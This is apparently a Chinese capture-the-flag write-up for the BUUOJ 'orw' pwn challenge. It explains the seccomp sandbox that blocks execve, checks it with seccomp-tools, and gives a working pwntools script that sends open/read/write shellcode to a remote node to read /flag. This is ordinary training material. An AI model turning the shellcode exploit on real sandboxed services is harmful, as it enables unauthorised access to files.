1.checksec
32位,canary保护
2.IDA
很明显,这是一道sandbox题目
orw_seccomp / _prctl都是判断sandbox题目的标志
pwn题中的沙盒一般都会限制execve的系统调用,所以one_gadget和system不好调用,只能采取open/read/write的组合方式来读取flag。
有些题目可能还会将上面三个系统调用去掉一个,进一步限制我们获取flag。
利用工具---seccomp-tools
检查禁用了哪些系统调用以及允许哪些系统调用
使用命令:
seccomp-tools dump ./文件名
可以看到,本题允许了orw三个系统调用,是最基础的一类题型了
所以直接open打开flag,read读入flag,write输出flag
3.EXP
from pwn import *
r = remote('node4.buuoj.cn',29475)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()
没有开NX保护,直接用shellcode就行